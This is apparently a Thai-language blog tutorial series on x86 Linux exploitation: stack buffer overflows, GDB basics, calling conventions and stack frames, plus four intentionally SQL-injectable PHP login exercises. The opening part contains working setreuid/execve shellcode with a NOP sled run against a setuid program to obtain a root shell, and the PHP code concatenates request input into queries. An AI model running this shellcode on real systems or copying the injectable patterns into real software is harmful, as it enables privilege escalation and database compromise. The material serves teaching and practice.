เอะ ทำไม??? เกิดอะไรขึ้น เรามาลองเอา suid bit ออกไปก่อน แล้วมาลองให้มี core dump ดูดีกว่า แล้วใช้ gdb ดู


$ sudo chmod 755 ex_06_2     # ถ้ามี suid bit อยู่จะไม่มี core dump
$ ulimit -c unlimited        # enable core dump เฉพาะ terminal นี้
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'`
Segmentation fault (core dumped)
$ gdb -q -c core
[New Thread 1852]
Core was generated by `./ex_06_2 1▒1▒1ɰF̀1▒Phn/shh//bi▒▒RS▒▒                                                           ̀UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU`.
Program terminated with signal 11, Segmentation fault.
#0  0xbffff640 in ?? ()
(gdb) x/4x 0xbffff608    # ทำไม address นี้เป็นขยะไปละ แล้ว shellcode เราอยู่ไหน
0xbffff608:     0x55555555      0x55555555      0x55555555      0x55555555
(gdb) x/8x 0xbffff608-208  # เจอแล้วที่ address 0xbffff538
0xbffff538:     0xdb31c031      0x46b0c931      0xc03180cd      0x2f6e6850
0xbffff548:     0x2f686873      0x8969622f      0x535299e3      0x0bb0e189
(gdb) q

เกิดอะไรขึ้น ทำไม buf กลายเป็นอยู่ที่ address 0xbffff538 ขอตอบสั้นๆ เพราะ argv และ env ที่ run ด้วย gdb กับจาก shell ตรงๆ มันไม่เหมือนกัน ทำให้ address ของตัวแปรต่างๆ ใน stack ถูกเปลี่ยน งั้นเราลองอีกทีด้วย address ใหม่


$ sudo chmod 4755 ex_06_2
$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x38\xf5\xff\xbf"'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

ได้แล้ว กลายเป็น root แล้ว :) แต่เห็นปัญหามั้ยครับ ว่าเราต้องใส่ address ของ buf ให้มันตรงเป๊ะ อย่างงี้เปลี่ยนเครื่อง exploit เราก็อาจจะทำงานผิดพลาด

ยังจำ NOP (0x90) ในหัวข้อ assembly ได้มั้ยครับ การใส่ NOP เป็นวิธีหนึ่งที่ทำให้ exploit มี reliable มากขึ้น โดยแทนที่จะให้มีขยะต่อท้าย shellcode เราจะใส่ NOP sled ไว้ก่อน shellcode ดังนั้นค่า saved eip ที่เราเปลี่ยน ขอแค่ชี้ไปที่ address ไหนก็ได้ใน NOP sled โปรแกรมก็จะ run shellcode ของเรา (ในกรณีนี้ เราต้องมีขยะต่อท้ายอย่างน้อย 16 bytes เพื่อเว้นที่ให้ shellcode ของเราเก็บค่าต่างๆ แต่ผมเว้นไว้ 20 bytes) ตามรูปข้างล่าง


$ ./ex_06_2 `perl -e 'print "\x90"x206 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x20 . "\x08\xf6\xff\xbf"'`
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit

จะเห็นว่า ครั้งนี้ผมใช้ address เดิมที่หาได้จาก gdb ครั้งแรก ก็ยังทำงานได้ เย่ๆ ทำได้แล้ว (อย่างน้อยก็แบบที่ง่ายที่สุด)

ก่อนจะไปหัวข้อถัดไป ผมขอให้ลองเปลี่ยน address ที่จะเขียนทับ saved eip ลองดูว่า exploit ที่มี NOP ยังทำงานได้ปกติกับหลายๆ address และให้ลองเอา shellcode setreuid ออก แล้วดูความแตกต่างระหว่างมีกับไม่มี (แก้แล้ว ต้องแก้จำนวน nop หรือ ขยะด้วยนะครับ)

PHP Login กับ SQL Injection (คำถาม)

2011-01-01T22:07:00.003+07:00

สวัสดีปีใหม่ ปีใหม่ทั้งที หาอะไรเล่นสนุกๆ ดีกว่า วันนี้ผมมีปัญหามาให้ทำเกี่ยวกับ sql injection 4 ข้อ เริ่มกันเลยดีกว่า

เหมือนครั้งที่แล้ว setup web server กับ mysql เอาเองนะครับ โดยใน mysql ให้สร้าง db ชื่อว่า thtutz แล้วก็ table ชื่อ members โดยมี column id, username, password แล้วใส่ user เข้าไปอย่างน้อย 2 users นะครับ ผมได้เตรียม sql batch ไว้แล้ว (db_setup.sql) แค่ run ด้วย mysql root

หลังจาก create table ใน mysql server แล้วก็เอา php code ต่อไปนี้ ไปลองทำ sql injection ดูนะครับ

ข้อ 1 (login_sqli1.php) อันนี้ทดสอบ basic


<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE password='".md5($_GET['password'])."' AND username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    echo "Congrats, WIN!!!\n";
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 2 (login_sqli2.php) อันนี้ warm up


<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    $row = mysql_fetch_array($result);
    if ($row['password'] == md5($_GET['password'])) {
        echo "Congrats, WIN!!!\n";
    }
    else {
        echo "Invalid username or password\n";
    }
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 3 (login_sqli3.php) ข้อนี้ยากที่สุดที่ผมคิดได้ เกี่ยวกับ login โดยไม่มีการทำ filter


<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    $row = mysql_fetch_array($result);
    if ($row['username'] == $_GET['username'] && $row['password'] == md5($_GET['password'])) {
        echo "Impossible to be here with SQL injection\n";
        echo "Congrats, WIN!!!\n";
    }
    else {
        echo "Invalid username or password\n";
    }
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 4 (login_sqli4.php) เอาความคิดมาจาก LEETMORE CTF 2010


<?php
// idea from LEETMORE ctf 2010

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = 'SELECT * FROM members WHERE password="' . md5($_GET['password'], true) . '"';
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) > 0) {
    echo "Congrats, WIN!!!\n";
}
else {
    echo "Incorrect password\n";
}

mysql_close($db);

คราวนี้ใจดีมี hint ให้ หวังว่าจะช่วยได้

็Hint:
1. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
2. google

ใช้เวลากับมันหน่อยนะครับ (ข้อ3 กับ ข้อ4) เพราะผมเองก็ต้องทำเป็นชั่วโมง (ตั้งโจทย์เองแท้ๆ)

ครั้งนี้ ผมให้เวลา 2-3 สัปดาห์ แล้วค่อยเฉลย เหมือนเดิมทำได้แล้วอย่า post เฉลยนะครับ

Update: ผมได้ publish เฉลยแล้วนะครับ ถ้าคิดไม่ออกแล้วก็ กดเลยครับ

เตรียม Ubuntu สำหรับการเขียน exploit บน Linux

2011-01-01T17:04:00.002+07:00

หัวข้อนี้ ถ้าใครเพิ่งเริ่มสามารถข้ามไปอ่านเนื้อหาก่อนได้เลย แต่แนะนำให้ทำก่อนเริ่มหัวข้อที่ 5.GDB เบื้องต้น

วิธีการลง Ubuntu ขอให้หาวิธีการลงเอาเอง ผมจะพูดถึงขั้นตอนหลังคุณ login เข้า Ubuntu ได้แล้ว แต่ตามที่ผมได้กล่าวไว้ในหัวข้อ "Buffer Overflow คืออะไร" ว่าแนะนำให้ลง Ubuntu 10.04 ใน Virtual Machine โดยโปรแกรมฟรีที่คนส่วนมากใช้กันก็มี VMWare Player กับ VirtualBox

ขั้นตอนก็มีสั้นๆ ตามนี้

1. Disable ASLR แบบ ถาวร
เพิ่ม "kernel.randomize_va_space = 0" เข้าไปใน /etc/sysctl.conf แล้วพิมพ์คำสั่ง


$ sudo sysctl -p

2. ลงโปรแกรมสำหรับ compile
พิมพ์คำสั่ง


$ sudo apt-get install build-essential binutils

3. ลง gcc3.4
พิมพ์คำสั่ง


$ sudo add-apt-repository ppa:yofel/off-ppa
$ sudo apt-get install gcc-3.4

จริงๆ แล้ว น่าจะต้องลงโปรแกรมมากกว่านี้นะครับ แต่ผมจำไม่ได้แล้ว เพราะ Ubuntu ของผมลงไปเยอะมากแล้ว เอาเป็นว่าถ้าเจอคำสั่งไหนที่ Ubuntu บอกว่าให้ลงโปรแกรมเพิ่ม ก็ลงตามที่ Ubuntu แนะนำนะครับ

GDB เบื้องต้น

2011-01-01T12:47:00.267+07:00

GDB คือ debugger โดยปกติ programmer จะใช้สำหรับช่วยในการแก้ bug ด้วยการดูค่าของตัวแปรต่างๆ ที่บรรทัดต่างๆ ของ code แต่ในมุมมองของ hacker ตัว debugger นั้น ช่วยให้เข้าใจโปรแกรม และช่องโหว่ของโปรแกรม และเราจะได้ใช้ gdb ไปตลอด tutorial นี้ โดยหัวข้อนี้ ผมตั้งใจให้คนที่ไม่เคยใช้ gdb ได้เห็นคำสั่งต่างๆ และได้ลองนิดหน่อย (ไม่ต้องให้คล่องนะครับ ต้องได้ใช้อีกเยอะ เดี๋ยวก็จำได้เอง)

ก่อนจะเริ่ม debug ก็ต้องสั่ง gdb แล้วเราจะเข้าไปในอยู่ใน gdb แล้วสั่งคำสั่งเพื่อตรวจสอบ process ได้ โดย gdb มีรูปแบบของ parameter ที่สำคัญตามนี้


# debug โปรแกรม prog
$ gdb ./prog
# ตรวจสอบ core dump file (มีหลายรูปแบบ)
$ gdb ./prog core
$ gdb -c core ./prog
$ gdb -c core
# ส่งโปรแกรม prog arguments เข้าไปด้วย (มีหลายรูปแบบ)
$ gdb --args ./prog arg1 arg2
# attach เข้าไปใน process ที่ run อยู่ (สมมติว่า pid คือ 1234) (มีหลายรูปแบบ)
$ gdb ./prog 1234
$ gdb -p 1234

ส่วน parameter อื่นๆ ให้หาอ่านเองนะครับ ง่ายสุดก็ man gdb

หลังจากสั่ง gdb ก็จะเจอ gdb prompt โดยมีคำสั่งต่างๆ ที่ใช้บ่อยๆ สำหรับการเขียน exploit ตามนี้ (ADDR ในตารางข้างล่าง สามารถใช้ register แทนได้เช่น $eax, $esp)

คำสั่งเต็ม	คำสั่งย่อ	คำอธิบาย
run	r	เริ่มโปรแกรม
kill	k	หยุดโปรแกรม
quit	q	ออกจาก GDB
continue	c	ทำงานต่อโดยหยุดที่ breakpoint ถัดไป

disassemble	disas	แสดง assembly code ของ function ที่ EIP อยู่
disassemble ADDR	disas ADDR	แสดง assembly code ที่ address ADDR (ใช้ชื่อ function ได้)
disassemble ADDR1 ADDR2	disas ADDR1 ADDR2	แสดง assembly code ที่ address ADDR1 ถึง ADDR2

info breakpoints	i b	แสดง breakpoint ทั้งหมด
info registers	i r	แสดงค่าของ CPU registers ทั้งหมด
info frame	i f	แสดงข้อมูลเกี่ยวกับ stack frame ปัจจุบัน
backtrace	bt	แสดง call stack

break *ADDR	b *ADDR	set breakpoint ที่ address ADDR (ถ้าใช้ชื่อ function ไม่ต้องมี *)
enable [NUM]	en [NUM]	enable breakpoint หมายเลขที่ NUM
disable [NUM]	dis [NUM]	disable breakpoint หมายเลขที่ NUM
delete [NUM]	d [NUM]	delete breakpoint หมายเลขที่ NUM
delete	d	delete breakpoint ทั้งหมด

nexti [num]	ni [num]	ทำงานคำสั่งถัดไป ไม่เข้าไปใน call
stepi [num]	si [num]	ทำงานคำสั่งถัดไป เข้าไปใน call

x/NFU ADDR		แสดงค่าของ address ADDR โดย N คือจำนวนที่จะแสดงผล F คือรูปแบบที่จะแสดงผล (ดูตารางถัดไป) U คือจำนวน byte มี b (byte), h (2 bytes), w (4 bytes)
display/F ADDR	disp/F ADDR	แสดงค่าของ address ADDR ทุกครั้งที่ถึงหยุดทำงานชั่วคราว
display	disp	แสดงค่าที่อยู่ใน display list ทั้งหมด
undisplay [NUM]	und [NUM]	ลบ display ที่เก็บไว้ที่ NUM

set ADDR=VAL		set ค่า VAL ไปที่ address ADDR

ต่อไปก็รูปแบบการแสดงผล (ค่า F จากตารางข้างบน) จะเหมือน C เกือบหมด

รูปแบบ	คำอธิบาย
a	pointer
c	character
d	signed decimal
f	floating point number
o	octal
s	string
t	binary
u	unsigned decimal
x	hexadecimal

คำสั่งตั้งเยอะ ใครจะจำได้หมด ต้องลองใช้บ่อยๆ ให้มันซึมเข้าไปเองครับ โดยผมจะลองใช้คำสั่งต่างๆ กับโปรแกรมในหัวข้อ "Buffer Overflow คืออะไร" แต่ให้ compile ตามนี้ (ex_05_1.c)


$ gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_05_1 ex_05_1.c

หลังจากนั้น มาลองใช้ gdb กัน (ให้ลองทำตามด้วยนะครับ อย่าเอาแต่อ่าน) โดยผมจะใส่คำอธิบายไว้หลังเครื่องหมาย # (ไม่ต้องพิมพ์นะครับ คำอธิบายนะครับ) และตามสัญญาจากหัวข้อที่แล้ว ว่าจะให้เห็นการส่งผ่าน argument อีกรูปหนึ่ง (สำหรับคนที่ไม่ชอบ AT&T syntax สามารถใช้คำสั่ง set disassembly-flavor intel เพื่อให้เป็น MASM syntax แต่ผมแนะนำให้ใช้ default เพื่อที่จะได้รู้หลากหลาย)


$ gdb -q ./ex_05_1
Reading symbols from /home/worawit/tutz/ch05/ex_05_1...(no debugging symbols found)...done.
(gdb) disas main   # disassemble main
   0x08048434 <+0>:     push   %ebp
   0x08048435 <+1>:     mov    %esp,%ebp
   0x08048437 <+3>:     sub    $0x14,%esp  # หัวข้อที่แล้ว -0xc แต่คราวนี้ -0x14 เพิ่มมา 8 bytes ใช้สำหรับส่ง argument ให้ strcpy
   0x0804843a <+6>:     movl   $0x0,-0x4(%ebp)
... # ขอละไว้ มันยาว
   0x08048455 <+33>:    mov    0xc(%ebp),%eax  # เอา argument ตัวที่ 2 (argv) ไปที่
   0x08048458 <+36>:    add    $0x4,%eax     # eax+4 เพื่อชี้ไปที่ address ของ argv[1]
   0x0804845b <+39>:    mov    (%eax),%eax   # เอาค่าของ argv[1] เก็บใน eax
   0x0804845d <+41>:    mov    %eax,0x4(%esp) # เก็บไปไว้ที่ esp+4 (เป็น argument ตัวที่ 2 ของ strcpy)
   0x08048461 <+45>:    lea    -0xc(%ebp),%eax # โหลด address ของ buf ไว้ที่ eax
   0x08048464 <+48>:    mov    %eax,(%esp) # เก็บไปไว้ที่ esp (เป็น argument ตัวที่ 1 ของ strcpy)
   0x08048467 <+51>:    call   0x8048344 <strcpy@plt>
... # ขอละไว้ มันยาว
(gdb) b main     # set breakpoint ไว้ที่ main
Breakpoint 1 at 0x804843a    # สังเกตว่า set ที่หลัง function prologue
(gdb) r
Starting program: /home/worawit/tutz/ch05/ex_05_1

Breakpoint 1, 0x0804843a in main ()
(gdb) b *0x08048467    # set breakpoint ที่คำสั่ง call strcpy
Breakpoint 2 at 0x8048467
(gdb) r UUUUUUUUUUUUUUUUUUU      # run โปรแกรมอีกรอบ โดยมี argument
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/worawit/tutz/ch05/ex_05_1 UUUUUUUUUUUUUUUUUUU

Breakpoint 1, 0x0804843a in main ()
(gdb) i r   # แสดง registers ทั้งหมด
eax            0xbffff7b4       -1073743948
ecx            0xa988bb4b       -1450656949
edx            0x2      2
ebx            0x293ff4 2703348
esp            0xbffff6f4       0xbffff6f4
ebp            0xbffff708       0xbffff708
esi            0x0      0
edi            0x0      0
eip            0x804843a        0x804843a 
... # ขอละไว้ มันยาว
(gdb) c   # ทำงานต่อ หยุดที่ breakpoint ถัดไป
Continuing.
Before strcpy: magic is 0x00000000

Breakpoint 2, 0x08048467 in main ()
(gdb) display/i $pc   # add display ให้แสดงคำสั่งที่ eip ชี้อยู่ (pc คือ program counter ใช้แทน eip ได้)
1: x/i $pc
=> 0x8048467 : call   0x8048344 
(gdb) x/8x $ebp-0xc   # แสดงค่าตั้งแต่ 0xbffff6fc (buf) ไป 8*4=32 bytes
0xbffff6fc:     0x00293ff4      0x080484b0      0x00000000      0xbffff788
0xbffff70c:     0x00154bd6      0x00000002      0xbffff7b4      0xbffff7c0
(gdb) ni     # ทำงานคำสั่งถัดไป โดยไม่เข้าไปใน call
0x0804846c in main ()
1: x/i $pc      # คำสั่งที่อยู่ใน display list แสดงทุกครั้งที่โปรแกรมหยุด
=> 0x804846c : mov    $0x8048580,%eax
(gdb) x/8x $ebp-0xc  # แสดงค่าที่ memory ของ buf อีกครั้ง (ค่า dword ที่ 3 คือ magic)
0xbffff6fc:     0x55555555      0x55555555      0x55555555      0x55555555
0xbffff70c:     0x00555555      0x00000002      0xbffff7b4      0xbffff7c0
(gdb) i f    # แสดงข้อมูล stack frame
Stack level 0, frame at 0xbffff710:
 eip = 0x804846c in main; saved eip 0x555555
 Arglist at 0xbffff708, args:
 Locals at 0xbffff708, Previous frame s sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c
(gdb) x/2s $esp     # แสดงข้อมูลที่ esp ในรูปแบบ string จำนวน 2 string
0xbffff6f4:      "\374\366\377\277\360\370\377\277", 'U' 
0xbffff710:      "\002"
(gdb)               # Enter เฉยๆ คือทำคำสั่งข้างบนซ้ำ แต่แสดงที่ address ถัดไป
0xbffff712:      ""
0xbffff713:      ""
(gdb) c  # ให้โปรแกรมทำงานต่อ
Continuing.
After strcpy: magic is 0x55555555
Hahaha, you WIN

Program received signal SIGSEGV, Segmentation fault.
0x00555555 in ?? ()
(gdb) i r ebp eip
ebp            0x55555555       0x55555555
eip            0x555555 0x555555
(gdb)  q
A debugging session is active.

        Inferior 1 [process 1857] will be killed.

Quit anyway? (y or n) y
$

ให้สังเกต ที่่คำสั่ง i f จะเห็นว่า saved ebp อยู่ที่ 0xbffff708 และ saved eip อยู่ที่ 0xbffff70c นั้นค่าถูกทำให้เปลี่ยน หลังจากเรียก strcpy (ตัว saved eip ที่มี 00 นำหน้านั้น 00 (NULL) มาจากตัวจบของ string ใน C แต่ที่อยู่ข้างหน้า เพราะแสดงเป็น integer ถ้างงก็คิดเรื่อง endian) แสดงให้เห็นว่า ข้อมูลที่เราใส่เข้าไปนั้น นอกจากจะเขียนทับ magic แล้วยังเขียนทับข้อมูลสำคัญ ที่กำหนดว่าให้โปรแกรมทำงานต่อที่ไหนหลังจากจบ main ทำให้โปรแกรมมีการอ้างถึง memory ที่ invalid คือ eip ชี้ไปที่ 0x00555555 ทำให้เกิด segmentation fault ขึ้น

ส่วนวิธีการ call function ในครั้งนี้จะไม่ใช้การ push argument แล้ว call อย่างที่เห็นใน assembly ข้างบน แต่จะเป็นการจองเนื้อที่บน stack ไว้สำหรับการส่ง argument แล้วใช้วิธี mov เพื่อย้ายค่าไปเป็น argument ต่างๆ แทน

ก่อนจะเริ่มในหัวข้อถ้ดไป ผมอยากให้ลองเอาโปรแกรมในหัวข้อ "Function กับ Stack" โดย compile ตามนี้ (ex_05_2.c)


$ gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_05_2 ex_05_2.c

แล้วให้ลอง
1. disassemble แล้วลองอ่าน assembly ดู
2. ลองใช้ stepi กับ nexti กับคำสั่ง call
3. ลองใช้ x/10s $esp แล้ว Enter ไปเรื่อยๆ จนหมด stack (bottom of stack) แล้วสังเกตค่าที่เป็นตัวอักษร อ่านรู้เรื่อง

Reference:
- GNU GDB Debugger Command Cheat Sheet
- GDB Cheat Sheet

Function กับ Stack

2010-12-22T22:40:00.001+07:00

หลังจากผ่านเรื่อง Assembly ที่น่าเบื่อ คราวนี้ผมจะพูดถึงการ call (เรียก) function หนึ่ง จะมีผลอย่างไรกับ memory ในส่วน stack และจะมีคำสั่ง Assembly อะไรบ้างที่เกี่ยวข้อง

ปกติโปรแกรมจะทำงานเป็นลำดับ โดยมี EIP ชี้ไปคำสั่งที่จะถูกประมวลผล แต่เมื่อมีการ call function หนึ่ง EIP จะกระโดดไปทำงานใน function ใหม่ และเมื่อทำงานใน function ใหม่จบแล้ว EIP จะต้องกระโดดกลับมาทำงานที่ function เดิมต่อ แล้วโปรแกรมรู้ได้อย่างไรละว่า EIP ต้องกระโดดกลับไปที่ไหน?

เพื่อให้ EIP ชี้ไปที่คำสั่งถัดไปหลังจากกลับมาจาก function ที่เรียก คำสั่งที่ใช้ในการ call function คือ "call" (เช่น "call printf") จะทำการ "push eip" ลงไปใน stack ก่อน แล้วค่อยกระโดดไปทำงานที่ function ใหม่ และที่จบ function ก็จะมีคำสั่ง "ret" ซึ่งจะเท่ากับ "pop eip" ทำให้โปรแกรมสามารถกลับไปทำงานตามปกติได้ เช่น สมมติว่าโปรแกรมเรา EIP ชี้ไปที่ address 0x08112200 และคำสั่งที่ call some_fn ที่ address 0x08112100 และคำสั่งถัดไปคือ address 0x08112205 ผลของการ call ก็จะได้ตามรูปข้างล่าง

Note: ไม่มีคำสั่ง Assembly ที่แก้ไขค่า หรืออ่านค่า EIP โดยตรง ที่เห็นผมเขียน "push eip" และ "pop eip" นั้น เพื่อใช้ในการอธิบายเท่านั้น

แล้วถ้า function มีการส่ง arguments ละ จะเป็นอย่างไร?

วิธีการส่ง arguments จริงๆแล้ว แล้วแต่ compiler ว่าจะใช้ call convention (รูปแบบการเรียก)ไหน แต่ที่ใช้โดยทั่วไป arguments ของแต่ละ function นั้นจะถูก push ลงไปใน stack จาก arguments ตัวหลังสุดไล่ไปยังตัวหน้าสุด ก่อนจะมีการ call function เช่น ใน C เราเขียน some_args(1, 2, 3) เราจะได้ assembly code เป็น (เพื่อเป็นการประหยัดพื้นที่ ดูรูปแีรกในห้วข้อ Stack Frame ข้างล่างนะครับ)


push $3
push $2
push $1
call some_args

Note: วิธีส่ง arguments ไม่จำเป็นต้อง push นะครับ แค่ทำให้เหมือนกันก็พอ ซึ่งจะได้เห็นในหัวข้อถัดไป

ส่วนการส่งค่ากลับของ function คนเขียนโปรแกรมคงคุ้นเคยกันอยู่แล้วว่า function ในจะส่งค่ากลับได้เพียงแค่ค่าเดียว ซึ่ง compiler โดยทั่วไปจะส่งกลับผ่านทาง register EAX โดยการ set ค่าที่ EAX แล้วค่อย ret

Function Call Convention

ในที่นี้ ผมจะพูดถึงแค่ 3 แบบเท่านั้นนะครับ โดยทั้ง 3 แบบ arguments จะถูก push จากตัวหลังสุดไปหน้าสุด

C Calling Convention (cdecl) - เป็นแบบที่ compiler ปัจจุบันใช้ โดย function ที่เรียกจะทำหน้าที่ clear stack เช่นการเรียก some_args(1, 2, 3) จะได้ Assembly เป็น
```
push $3
push $2
push $1
call some_args
add $12,%esp
```
Standard Convention (stdcall) - การเรียกแบบนี้ Microsoft คิด และใช้ใน dll ของ Microsoft เอง ถ้าใครเคยเขียนโปรแกรมโดยใช้ WIN32 API คงจะเคยเห็น WINAPI หน้า function ซึ่งถ้าไล่ดูใน header file ของ WIN32 API ก็จะเห็นว่า define เป็น _stdcall การเรียกแบบนี้ต่างจากแบบแรกคือ function ที่ถูกเรียกจะทำหน้าที่ clear stack โดยใช้คำัสั่ง Assembly "RET n" เช่นการเรียก some_args(1, 2, 3) จะได้ Assembly ของ function ที่เรียกคือ
```
push $3
push $2
push $1
call some_args
```
และใน function ที่ถูกเรียกจะจบด้วย Assembly
```
ret $12
```
Fastcall Convention (fastcall) - แบบนี้จะคล้ายแบบ "Standard Convention" ต่างกันตรงที่ argument ตัวแรกจะเก็บไว้ใน ECX และตัวที่สองเก็บไว้ใน EDX ส่วนที่เหลือ push ลง stack เหมือนเดิม การเรียกแบบนี้ ผมไม่ยกตัวอย่าง Assembly นะครับ เพราะใช้น้อยมาก เมื่อเทียบกับ 2 แบบแรก

Note: หลังจากนี้ ถ้าผมพูดถึงการ call function โดยไม่บอกรูปแบบก็ถือว่าเป็น C Calling Convention

Local Variables

ในแต่ละ function จะมี local variables ที่ใช้ภายใน function เท่านั้น และเมื่อจบ function พวก local variables จะถูกทำลายอัตโนมัติ

local variables นั้น จะถูกเก็บไว้ใน stack วิธีการจองคือ compiler ทำการคำนวณขนาดของ local variables ทั้งหมด แล้วเพิ่มคำสั่งลบ ESP ไว้ที่ตอนเริ่มของ function (อย่าลืมนะครับว่า stack ใน x86 ขยายจาก High Address ไป Low Address) เช่นใน function มีการประกาศตัวแปร "int i; char buf[16];" ได้ขนาด local variables เป็น 20 bytes ซึ่ง compiler จะเพิ่มคำสั่ง


sub $20, %esp

Stack Frame

ในหัวข้อ Assembly ผมได้พูดถึง ESP กับ EBP สั้นๆ ในหัวข้อนี้จะได้เห็นว่า register 2 ตัวนี้ถูกใช้งานอย่างไรใน stack

โดยปกติ EBP ชี้ไปยัง address ของ stack ข้างบน EIP ที่ถูก push ลงไปใน stack ก่อนมีการ call function โดยหน้าที่หลักคือ ใช้อ้างอิง function arguments และ local variables ซึ่งเมื่อใช้ EBP การอ้างอิงทั้ง arguments และ local variables นั้นจะไม่มีการเปลี่ยนแปลงตามรูปข้างล่าง โดยสมมติว่ามีการ call function ที่มี 3 arguments และใน function นั้นมีการประกาศตัวแปรไว้เป็น "int i; char buf[8];" (เหมือนตัวอย่างในหัวข้อ "Buffer Overflow คืออะไร" ใน function main แต่ใช้ i แทน magic)

จากรูปข้างบน อาจจะเรียกทั้งหมดว่า "Stack Frame" โดยถ้าเราต้องการจะอ้างถึงตัวแปร buf ก็ใช้ EBP-12 ส่วนถ้าต้องการอ้างถึง argument ตัวที่ 1 ก็ใช้ EBP+8 และตัวอื่นๆ ตามรูป

ส่วน "saved EIP" ในรูปนั้น ผมได้อธิบายไปในตอนต้นแล้ว มันคือ EIP ของคำสั่งที่จะถูกทำงานหลังจากจบ function ที่เรียก

แล้ว "saved EBP" ละมีไว้ทำอะไร เนื่องด้วยเราได้ใช้ EBP เป็น strack frame pointer เพื่อที่จะได้อ้างอิง local variables และ function arguments ได้สะดวก ดังนั้นเมื่อมีการ call function หนึ่ง EBP จะต้องถูกเลื่อนไปที่ stack frame ของ function ที่ถูกเรียก ดังนั้นเราต้องทำเหมือนกับ EIP คือเก็บไว้ใน stack เพื่อจะได้เอา (restore) EBP ของ function เดิมกลับมาได้ (ถ้างง ให้อ่านไปก่อนนะครับ จะมีตัวอย่างอีกอัน)

จะเห็นว่าก่อนจะเริ่มทำงานใน function แต่ละครั้งนั้น จะมีการเก็บค่า EBP, ย้าย EBP และจองเนื้อที่สำหรับ local variables (ไม่มีการเก็บค่า EIP นะครับ อันนี้ถูกรวมอยู่ในคำสั่ง call) และเมื่อจบ function ก็จะมีการ clear stack ที่จองไว้สำหรับ local variables และ restore EBP ก่อนที่จะเรียกคำสั่ง ret

สิ่งที่ต้องทำก่อนเริ่มทำงานใน function จะเรียกว่า function prologue ซึ่งถ้านำตัวอย่างข้างบนมาเขียนเป็น assembly จะเป็น


push %ebp       # เก็บค่า EBP ที่ใช้ใน function ก่อนหน้าไว้ใน stack
mov %esp, %ebp  # เลื่อนค่า EBP มาที่ ESP (top of stack)
sub $12, %esp   # เลื่อน ESP เพื่อจอง memory ให้ local variables

และสิ่งที่ต้องทำก่อนจบ function จะเรียกว่า function epilogue ซึ่งเขียนเป็น assembly ได้เป็น


mov %ebp, %esp  # clear memory สำหรับ local variables โดยการย้าย ESP มาที่ EBP
pop %ebp        # restore EBP จากค่าที่เก็บไว้ใน stack
ret

เนื่องจาก ใน x86 มีคำสั่งสำหรับทำ function epilogue คือ leave ซึ่งเท่ากับ mov %ebp,%esp และ pop %ebp ทำให้โดยปกติ เราจะเห็น function epilogue เมื่อเรา disassembly เป็น


leave
ret

บางคนอาจจะสังเกตเห็น ESP ในรูป แล้วสงสัยว่าทำไมถึงไม่ใช้ ESP ในการอ้างอิง local variables และ function arguments ละ ในเมื่อ ESP ชี้ไปที่ top of stack เสมออยู่แล้ว และก็อยู่ใกล้ local variables กับ function arguments เหตุผลก็คือ
1. การถ้าใช้ ESP ต้องมีการคำนวณทุกครั้ง ที่มีการ push หรือ pop ว่า local variables และ function arguments ห่างจาก ESP เท่าไร แต่การใช้ EBP ทำให้การอ้างอิงค่าแต่ละตัวเหมือนเดิมตลอดๆ ไม่ว่า stack จะเปลี่ยนแปลงอย่างไร ทำให้ง่ายต่อการ debug
2. เนื่องด้วยต้องคำนวณระยะห่างของ ESP ที่กล่าวไปในข้อ 1 ทำให้ compiler ทำงานช้าลง

